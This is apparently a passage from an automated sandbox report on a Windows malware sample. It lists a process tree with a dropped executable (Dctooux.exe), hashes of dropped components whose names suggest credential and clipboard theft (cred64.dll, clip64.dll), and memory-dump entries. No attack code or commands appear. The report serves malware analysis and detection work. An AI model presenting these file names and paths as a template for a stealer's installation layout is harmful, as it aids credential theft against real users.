                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1544 -ip 1544
                                                              1⤵
                                                                PID:1768
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1544 -ip 1544
                                                                1⤵
                                                                  PID:1460
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1544 -ip 1544
                                                                  1⤵
                                                                    PID:3860
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 1544 -ip 1544
                                                                    1⤵
                                                                      PID:3624
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1544 -ip 1544
                                                                      1⤵
                                                                        PID:4060
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1544 -ip 1544
                                                                        1⤵
                                                                          PID:3004
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1544 -ip 1544
                                                                          1⤵
                                                                            PID:1704
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 1544 -ip 1544
                                                                            1⤵
                                                                              PID:4512
                                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                              1⤵
                                                                                PID:620
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1544 -ip 1544
                                                                                1⤵
                                                                                  PID:1964
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1544 -ip 1544
                                                                                  1⤵
                                                                                    PID:5564
                                                                                  • C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe
                                                                                    1⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:5744
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 452
                                                                                      2⤵
                                                                                      • Program crash
                                                                                      PID:5840
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5744 -ip 5744
                                                                                    1⤵
                                                                                      PID:5820
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1544 -ip 1544
                                                                                      1⤵
                                                                                        PID:6072

                                                                                      Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                                                                        Filesize

                                                                                        56KB

                                                                                        MD5

                                                                                        752a1f26b18748311b691c7d8fc20633

                                                                                        SHA1

                                                                                        c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                                                                                        SHA256

                                                                                        111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                                                                                        SHA512

                                                                                        a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

                                                                                      • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                                                                        Filesize

                                                                                        64KB

                                                                                        MD5

                                                                                        3ccf032906288ae736de2ac4be7b8e9b

                                                                                        SHA1

                                                                                        f6a36a9b1c8ea768e39254e2bd03b37872c2cfd6

                                                                                        SHA256

                                                                                        6837fb298872d4e61bf26480e7c339244e2166b712c6391d30d15e87670396aa

                                                                                        SHA512

                                                                                        ef2edc0540eb499d5d71b3789546abfc155bf59ec19d439c6b2a5123ed7fa5ddb96126c1b232d5c28b59102673248e34b69a051d51d804bf0344adcbcafc5397

                                                                                      • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                                                                        Filesize

                                                                                        36KB

                                                                                        MD5

                                                                                        b30d3becc8731792523d599d949e63f5

                                                                                        SHA1

                                                                                        19350257e42d7aee17fb3bf139a9d3adb330fad4

                                                                                        SHA256

                                                                                        b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

                                                                                        SHA512

                                                                                        523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                        Filesize

                                                                                        2KB

                                                                                        MD5

                                                                                        d85ba6ff808d9e5444a4b369f5bc2730

                                                                                        SHA1

                                                                                        31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                        SHA256

                                                                                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                        SHA512

                                                                                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        1KB

                                                                                        MD5

                                                                                        04c9ebf9c23c1d4d4a08c16e20fcceed

                                                                                        SHA1

                                                                                        67044e3f04584acefef2e09c2584e22e70fc5df4

                                                                                        SHA256

                                                                                        5ba65623b2739407ddd1fa8d75335ee54a3575893bc6a226182972c1ef881e58

                                                                                        SHA512

                                                                                        84cf13081ef3162995557677cfdae002ab7af81cf53ca874fbb046aa26facc375f8b533e6d2899240b3bdb06d26c6b322b60c4eca9a2a9570c54ba6d0350cd69

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        64B

                                                                                        MD5

                                                                                        5caad758326454b5788ec35315c4c304

                                                                                        SHA1

                                                                                        3aef8dba8042662a7fcf97e51047dc636b4d4724

                                                                                        SHA256

                                                                                        83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

                                                                                        SHA512

                                                                                        4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000021011\blyat.dll

                                                                                        Filesize

                                                                                        2.3MB

                                                                                        MD5

                                                                                        cb253bf8a6859eadd30b4ceb66c6a588

                                                                                        SHA1

                                                                                        7e9383d51ec36a019b5884f79a2ac2c05b4049bd

                                                                                        SHA256

                                                                                        03d2efb0706bab18e7b594b985f20bd316d9e074dc3906ebefe7ab4baffe5722

                                                                                        SHA512

                                                                                        1291d53ee1e025889a6d2bb222eac940c4ba73ae22fd956cbc8c9e61fcc0f78c96a5277362750a5e168ab5a02b46d5d11defaca0956eae08ad546ec529a3e061

                                                                                      • C:\Users\Admin\AppData\Local\Temp\808065738166

                                                                                        Filesize

                                                                                        64KB

                                                                                        MD5

                                                                                        f36e61e05f9afb2b9195e736a2b39a61

                                                                                        SHA1

                                                                                        00fd3139c8d639ec253fe5224540cf0f74e09398

                                                                                        SHA256

                                                                                        40f1009ffb3ca3a3e79774908331ac5b86af5b85cb7eb5f8e26103e45f298464

                                                                                        SHA512

                                                                                        747660430bb63c03aec97c4541dbcd621460fd2bb4a000f884a4c1a2c65569dd1a4249785ca777f2c131cda4fead4ac80bc0c29c77127381761f236b25af6b39

                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hezddffm.0m0.ps1

                                                                                        Filesize

                                                                                        60B

                                                                                        MD5

                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                        SHA1

                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                        SHA256

                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                        SHA512

                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                      • C:\Users\Admin\AppData\Local\Temp\update.exe

                                                                                        Filesize

                                                                                        389KB

                                                                                        MD5

                                                                                        3be93b7272a95d1e804c84c4db9cdacf

                                                                                        SHA1

                                                                                        ad9ca3405deb693c1ba9855c2fe9ebb4958c8499

                                                                                        SHA256

                                                                                        d88da24c018b0d0b71a2b29ab1e5684785726396666599e7c5335507237577fc

                                                                                        SHA512

                                                                                        821b906818689e3e18084cc3280f531866ea61bac22a4db6e045bf2361324d721d521debee6611e0812a8c817c63e97dfe558e9a3b57c420254391761aca8c7e

                                                                                      • C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\clip64.dll

                                                                                        Filesize

                                                                                        109KB

                                                                                        MD5

                                                                                        ca684dc5ebed4381701a39f1cc3a0fb2

                                                                                        SHA1

                                                                                        8c4a375aa583bd1c705597a7f45fd18934276770

                                                                                        SHA256

                                                                                        b8c5ad09c5b62fa8d8bcb8e1c317700274b4756d04fc964ccae38103c318ddd2

                                                                                        SHA512

                                                                                        8b414799e37d50f664e04e704ab06a8f6f25cb9f9c24f157e998a72aad9c0a0cd9435b42c629dc26643f039725d22a89ca3468dc39009d11d910420a80e9c510

                                                                                      • C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\cred64.dll

                                                                                        Filesize

                                                                                        1.2MB

                                                                                        MD5

                                                                                        4876ee75ce2712147c41ff1277cd2d30

                                                                                        SHA1

                                                                                        3733dc92318f0c6b92cb201e49151686281acda6

                                                                                        SHA256

                                                                                        bbfba2d40f48c16a53b5806555c08aff1982c3fe4a77964963edbab9d7e672ed

                                                                                        SHA512

                                                                                        9bf25d4d0dfebd287b0c84abb64612b3db00a26b0217490b35925e77487d6c872632c936cedf1205c46ecbf9d4dfc9bc7600bee05afc550b30ae0d0964c5afe9

                                                                                      • C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\cred64.dll

                                                                                        Filesize

                                                                                        679KB

                                                                                        MD5

                                                                                        45c84358b58225a629ab217019887525

                                                                                        SHA1

                                                                                        b553e87c6d6cb7358cd159c8a76cba43a73cc298

                                                                                        SHA256

                                                                                        09ed87bc953e626590c791c23335148943e4ad38e545ff79fd0592296fd809e6

                                                                                        SHA512

                                                                                        a3c660af82ab37007bdcd00070acf7b545fa31474b9dd7fd52ef1517a0b1af22a6b0495eaf81f7d652ec40b959723a75e4d47bc550bb3ba87088ac22c4774987

                                                                                      • C:\Users\Admin\AppData\Roaming\students.pdf

                                                                                        Filesize

                                                                                        62KB

                                                                                        MD5

                                                                                        e9f1a14e064e81b71960f51479e87e57

                                                                                        SHA1

                                                                                        eadbad19335bced8193d7de6fa11ef177a0a9b91

                                                                                        SHA256

                                                                                        c67452b8c4746bb8db38349f5c95fcaca7c575103ddbc626227951861b192496

                                                                                        SHA512

                                                                                        d898dd355d0d602549e4a177af3a7007452a6bc5906bef9c914235ebde66ffda95c6f76b2b67bf38d06afefb06898f0e42a574bd0cf31ce7804123563240bdc9

                                                                                      • memory/1544-231-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1544-243-0x00000000005C0000-0x00000000006C0000-memory.dmp

                                                                                        Filesize

                                                                                        1024KB

                                                                                      • memory/1544-255-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1544-282-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1544-113-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1544-87-0x00000000005C0000-0x00000000006C0000-memory.dmp

                                                                                        Filesize

                                                                                        1024KB

                                                                                      • memory/1544-88-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1544-294-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1940-59-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1940-66-0x0000000000590000-0x00000000005FF000-memory.dmp

                                                                                        Filesize

                                                                                        444KB

                                                                                      • memory/1940-64-0x0000000000600000-0x0000000000700000-memory.dmp

                                                                                        Filesize

                                                                                        1024KB

                                                                                      • memory/1940-83-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1940-60-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/1940-58-0x0000000000590000-0x00000000005FF000-memory.dmp

                                                                                        Filesize

                                                                                        444KB

                                                                                      • memory/1940-57-0x0000000000600000-0x0000000000700000-memory.dmp

                                                                                        Filesize

                                                                                        1024KB

                                                                                      • memory/2776-35-0x00007FFE93C20000-0x00007FFE946E1000-memory.dmp

                                                                                        Filesize

                                                                                        10.8MB

                                                                                      • memory/2776-9-0x0000026E77A00000-0x0000026E77A22000-memory.dmp

                                                                                        Filesize

                                                                                        136KB

                                                                                      • memory/2776-12-0x00007FFE93C20000-0x00007FFE946E1000-memory.dmp

                                                                                        Filesize

                                                                                        10.8MB

                                                                                      • memory/3724-229-0x000000000B6C0000-0x000000000B96B000-memory.dmp

                                                                                        Filesize

                                                                                        2.7MB

                                                                                      • memory/3956-254-0x0000021C4EFA0000-0x0000021C4EFB0000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/3956-253-0x00007FFE91550000-0x00007FFE92011000-memory.dmp

                                                                                        Filesize

                                                                                        10.8MB

                                                                                      • memory/3956-275-0x00007FFE91550000-0x00007FFE92011000-memory.dmp

                                                                                        Filesize

                                                                                        10.8MB

                                                                                      • memory/3956-269-0x0000021C4F550000-0x0000021C4F562000-memory.dmp

                                                                                        Filesize

                                                                                        72KB

                                                                                      • memory/3956-270-0x0000021C4EF90000-0x0000021C4EF9A000-memory.dmp

                                                                                        Filesize

                                                                                        40KB

                                                                                      • memory/4416-16-0x00007FFE90310000-0x00007FFE90DD1000-memory.dmp

                                                                                        Filesize

                                                                                        10.8MB

                                                                                      • memory/4416-18-0x000002D2195B0000-0x000002D2195C0000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4416-53-0x00007FFE90310000-0x00007FFE90DD1000-memory.dmp

                                                                                        Filesize

                                                                                        10.8MB

                                                                                      • memory/4416-17-0x000002D2195B0000-0x000002D2195C0000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5132-325-0x0000000000800000-0x0000000000872000-memory.dmp

                                                                                        Filesize

                                                                                        456KB

                                                                                      • memory/5132-331-0x0000000000800000-0x0000000000872000-memory.dmp

                                                                                        Filesize

                                                                                        456KB

                                                                                      • memory/5132-330-0x0000000000800000-0x0000000000872000-memory.dmp

                                                                                        Filesize

                                                                                        456KB

                                                                                      • memory/5132-329-0x0000000000800000-0x0000000000872000-memory.dmp

                                                                                        Filesize

                                                                                        456KB

                                                                                      • memory/5132-328-0x0000000000800000-0x0000000000872000-memory.dmp

                                                                                        Filesize

                                                                                        456KB

                                                                                      • memory/5288-295-0x0000000010000000-0x0000000010253000-memory.dmp

                                                                                        Filesize

                                                                                        2.3MB

                                                                                      • memory/5288-323-0x0000000010000000-0x0000000010253000-memory.dmp

                                                                                        Filesize

                                                                                        2.3MB

                                                                                      • memory/5288-324-0x0000000010000000-0x0000000010253000-memory.dmp

                                                                                        Filesize

                                                                                        2.3MB

                                                                                      • memory/5288-326-0x0000000010000000-0x0000000010253000-memory.dmp

                                                                                        Filesize

                                                                                        2.3MB

                                                                                      • memory/5288-327-0x0000000010000000-0x0000000010253000-memory.dmp

                                                                                        Filesize

                                                                                        2.3MB

                                                                                      • memory/5288-296-0x0000000010000000-0x0000000010253000-memory.dmp

                                                                                        Filesize

                                                                                        2.3MB

                                                                                      • memory/5288-293-0x0000000010000000-0x0000000010253000-memory.dmp

                                                                                        Filesize

                                                                                        2.3MB

                                                                                      • memory/5744-314-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/5744-313-0x0000000000400000-0x00000000004A0000-memory.dmp

                                                                                        Filesize

                                                                                        640KB

                                                                                      • memory/5744-312-0x0000000000510000-0x0000000000610000-memory.dmp

                                                                                        Filesize

                                                                                        1024KB